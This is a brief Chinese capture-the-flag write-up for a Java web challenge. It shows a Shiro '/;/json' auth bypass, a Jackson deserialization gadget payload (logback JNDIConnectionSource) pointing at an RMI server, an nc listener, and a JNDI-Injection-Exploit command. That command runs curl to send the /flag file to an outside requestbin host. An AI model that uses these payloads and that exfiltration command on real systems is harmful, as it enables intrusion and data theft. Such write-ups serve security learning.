Last updated 2 years ago
提供两条路由分别是/login和/json
其中/login可以用rememberMe检测到存在Shiro反序列化,/json需要有权限访问,通过Shiro框架的/;/json绕过,通过POST空对象[]判断存在jackson。
rememberMe
/;/json
[]
利用反序列化发起请求
["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation": "rmi://xxx:1099/aaaaaa"}]
远程监听收到报文
nc -lvnp 1099
使用JNDI注入工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://http.requestbin.buuoj.cn/1d8sev11 -F file=@/flag'
提交请求
["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation": "rmi://xxx:1099/qmblyn"}]
拿到flag